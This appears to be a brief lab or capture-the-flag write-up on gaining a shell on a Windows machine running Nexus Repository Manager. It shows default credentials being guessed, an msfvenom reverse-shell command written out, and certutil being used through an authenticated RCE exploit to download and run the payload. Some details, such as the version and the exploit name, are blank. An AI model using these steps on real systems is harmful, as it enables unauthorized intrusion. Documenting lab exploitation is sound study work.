On port 8081 we have Sonar Nexus Repository manager running on version

Guessing the sign in credentials of nexus:nexus gives access to Nexus. Searching for exploits shows an authenticated RCE on

First I created a reverse shell with msfvenom to connect on port 21. msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=21 -f exe > /home/kali/windows/shell.exe

Then set a Python SimpleHTTPServer on my attacking machine to host the shell. After doing so I edited the exploit code to include the credentials we have and to execute cmd.exe and certutil.exe to download the reverse shell from my attacking machine.

After doing this and confirming from my attacking machine that the shell was downloaded I then edited the exploit code to call cmd.exe again and execute the shell.

In which we receive. a shell back on our netcat listener.
